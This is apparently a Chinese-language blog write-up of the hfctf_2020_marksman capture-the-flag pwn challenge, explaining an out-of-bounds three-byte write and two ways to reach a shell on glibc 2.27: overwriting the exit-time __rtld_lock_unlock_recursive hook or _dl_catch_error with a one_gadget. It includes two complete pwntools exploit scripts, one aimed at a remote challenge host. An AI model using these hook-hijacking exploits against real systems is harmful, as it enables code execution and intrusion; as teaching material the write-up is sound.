• hfctf_2020_marksman(劫持exit_hook或dlopen)


    在这里插入图片描述

    main函数

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      int i; // [rsp+8h] [rbp-28h]
      int j; // [rsp+Ch] [rbp-24h]
      __int64 v6; // [rsp+10h] [rbp-20h]
      char v7[3]; // [rsp+25h] [rbp-Bh] BYREF
      unsigned __int64 v8; // [rsp+28h] [rbp-8h]
    
      v8 = __readfsqword(0x28u);
      set();
      menu();
      puts("Free shooting games! Three bullets available!");
      printf("I placed the target near: %p\n", &puts);
      puts("shoot!shoot!");
      v6 = readn();
      for ( i = 0; i <= 2; ++i )
      {
        puts("biang!");
        read(0, &v7[i], 1uLL);
        getchar();
      }
      if ( sub_BC2(v7) )
      {
        for ( j = 0; j <= 2; ++j )
          *(j + v6) = v7[j];
      }
      if ( !dlopen(0LL, 1) )
        exit(1);
      puts("bye~");
      return 0LL;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    sub_BC2(v7)

    __int64 __fastcall sub_BC2(_BYTE *a1)
    {
      if ( (*a1 != 0xC5 || a1[1] != 0xF2) && (*a1 != 0x22 || a1[1] != 0xF3) && *a1 != 0x8C && a1[1] != 0xA3 )
        return 1LL;
      puts("You always want a Gold Finger!");
      return 0LL;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    分析

    根据程序可知是数组越界,第一个输入的数是我们要覆盖的位置,后三个输入的数是我们要覆盖的三个字节,程序一开始输出了puts函数的地址,相当于泄露了libc,我们想到的就是覆盖某个函数的地址为one_gadget函数地址,实现部分字节写,但是程序开了Full RELRO,got表无法被劫持,程序对输入值进行了限制,多数“one_gadget”被淘汰。

    思路

    我们可以劫持exit_hook,

    exit()调用过程

    exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
    通过gdb获得__rtld_lock_unlock_recursive偏移,修改__rtld_lock_unlock_recursive低三位字节为one_gadget地址

    one_gadget ../../libc-2.27.so--64 -l2
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述

    exp

    # coding=utf-8
    from pwn import *
    sh = remote("node4.buuoj.cn", 27939)
    #sh = process('./hfctf_2020_marksman')
    context(log_level = 'debug', arch = 'amd64', os = 'linux')
    elf = ELF("./hfctf_2020_marksman")
    libc = ELF('../../libc-2.27.so--64')
    def dbg():
            gdb.attach(sh)
            pause()
    
    #命令简写化
    s       = lambda data               :sh.send(data)
    sa      = lambda delim,data         :sh.sendafter(delim, data)
    sl      = lambda data               :sh.sendline(data)
    sla     = lambda delim,data         :sh.sendlineafter(delim, data)
    r       = lambda num=4096           :sh.recv(num)
    ru      = lambda delims   :sh.recvuntil(delims)
    itr     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4,'\0'))
    uu64    = lambda data               :u64(data.ljust(8,'\0'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg=lambda address,data:log.success('%s: '%(address)+hex(data))
    
    ru('I placed the target near: ')
    puts_addr = int(r(14),16)
    lg('puts_addr',puts_addr)
    libc_base = puts_addr - libc.sym['puts']
    __rtld_lock_unlock_recursive_offset = 0x81df60
    addr = libc_base+__rtld_lock_unlock_recursive_offset
    one_gadget = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
    shell = one_gadget[1]+libc_base
    
    sla('shoot!shoot!\n',str(addr))
    for i in range(3):
            sla('biang!',chr(shell&0xff))
            shell=shell>>8
    
    
    itr()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    另一种思路

    dlopen函数

    void * dlopen (const char *file, int mode)
    
    • 1

    功能:打开一个动态链接库
    参数:file就是libc文件路径,mode只有以下两种常用的值,并且必须指定其一
    RTLD_LAZY:在 dlopen 返回前,对于动态库中存在的未定义的变量 (如外部变量 extern, 也可以是函数) 不执行解析,就是不解析这个变量的地址
    RTLD_NOW:与上面不同,他需要在 dlopen 返回前,解析出每个未定义变量的地址,如果解析不出来,在 dlopen 会返回 NULL

    dlopen源码

    void * dlopen (const char *file, int mode)
    {
      return __dlopen (file, mode, RETURN_ADDRESS (0));
    }
    void * __dlopen (const char *file, int mode DL_CALLER_DECL)
    {
    # ifdef SHARED
      if (__builtin_expect (_dlfcn_hook != NULL, 0))
        return _dlfcn_hook->dlopen (file, mode, DL_CALLER);
    #endif
     
      struct dlopen_args args;
      args.file = file;
      args.mode = mode;
      args.caller = DL_CALLER;
     
    # ifdef SHARED
      return _dlerror_run (dlopen_doit, &args) ? NULL : args.new;
    #else
      if (_dlerror_run (dlopen_doit, &args))
        return NULL;
     
      __libc_register_dl_open_hook ((struct link_map *) args.new);
      __libc_register_dlfcn_hook ((struct link_map *) args.new);
     
      return args.new;
    # endif
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    在这里插入图片描述
    dlopen函数调用了_dl_open函数

    _dl_open源码

    void * _dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid, int argc, char *argv[], char *env[])
    {
        ……
        ……
     
      /* Never allow loading a DSO in a namespace which is empty.  Such
         direct placements is only causing problems.  Also don't allow
         loading into a namespace used for auditing.  */
      else if (__builtin_expect (nsid != LM_ID_BASE && nsid != __LM_ID_CALLER, 0)
    	   && (GL(dl_ns)[nsid]._ns_nloaded == 0
    	       || GL(dl_ns)[nsid]._ns_loaded->l_auditing))
        _dl_signal_error (EINVAL, file, NULL,
    		      N_("invalid target namespace in dlmopen()"));
    #ifndef  SHARED
      else if ((nsid == LM_ID_BASE || nsid == __LM_ID_CALLER)
    	   && GL(dl_ns)[LM_ID_BASE]._ns_loaded == NULL
    	   && GL(dl_nns) == 0)
        GL(dl_nns) = 1;
    #endif
     
      struct dl_open_args args;
      args.file = file;
      args.mode = mode;
      args.caller_dlopen = caller_dlopen;
      args.caller_dl_open = RETURN_ADDRESS (0);
      args.map = NULL;
      args.nsid = nsid;
      args.argc = argc;
      args.argv = argv;
      args.env = env;
     
      const char *objname;
      const char *errstring;
      bool malloced;
      int errcode = _dl_catch_error (&objname, &errstring, &malloced, dl_open_worker, &args);
     
    # ifndef MAP_COPY
      /* We must munmap() the cache file. */
      _dl_unload_cache ();
    # endif
     
        ……
        ……
     
    #ifndef  SHARED
      DL_STATIC_INIT (args.map);
     #endif
     
      return args.map;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    我们可以劫持_dl_catch_error函数为one_gadget地址,_dl_catch_error为libc中的函数,可以gdb调试找到其got表
    在这里插入图片描述

    exp

    # coding=utf-8
    from pwn import *
    #sh = remote("node4.buuoj.cn", 27939)
    sh = process('./hfctf_2020_marksman')
    context(log_level = 'debug', arch = 'amd64', os = 'linux')
    elf = ELF("./hfctf_2020_marksman")
    libc = ELF('../../libc-2.27.so--64')
    def dbg():
            gdb.attach(sh)
           
    
    #命令简写化
    s       = lambda data               :sh.send(data)
    sa      = lambda delim,data         :sh.sendafter(delim, data)
    sl      = lambda data               :sh.sendline(data)
    sla     = lambda delim,data         :sh.sendlineafter(delim, data)
    r       = lambda num=4096           :sh.recv(num)
    ru      = lambda delims   :sh.recvuntil(delims)
    itr     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4,'\0'))
    uu64    = lambda data               :u64(data.ljust(8,'\0'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg=lambda address,data:log.success('%s: '%(address)+hex(data))
    
    ru('I placed the target near: ')
    puts_addr = int(r(14),16)
    lg('puts_addr',puts_addr)
    libc_base = puts_addr - libc.sym['puts']
    __rtld_lock_unlock_recursive_offset = 0x81df60
    #addr = libc_base+__rtld_lock_unlock_recursive_offset
    
    _dl_catch_error_libc=libc_base + 0x5f4038
    addr = libc_base+_dl_catch_error_libc
    
    one_gadget = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
    shell = one_gadget[2]+libc_base
     
    sla('shoot!shoot!\n',str(addr))
    for i in range(3):
            sla('biang!',chr(shell&0xff))
            shell=shell>>8
    
    
    itr()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
  • 相关阅读:
    定时器事件和随机数
    香港科技大学广州|机器人与自主系统学域博士招生宣讲会—电子科技大学专场!!!(暨全额奖学金政策)
    PostgreSQL 事务与并发控制
    数据结构——排序算法——桶排序
    避免 WebSocket 连接被拒绝
    2.X版本的一个通病问题
    Zotero: 扩容
    软件工程领域的数据集问题
    图像处理之matlab的取整函数round、ceil、floor和fix
    Spring-bean实例化三种方式
  • 原文地址:https://blog.csdn.net/tbsqigongzi/article/details/126312377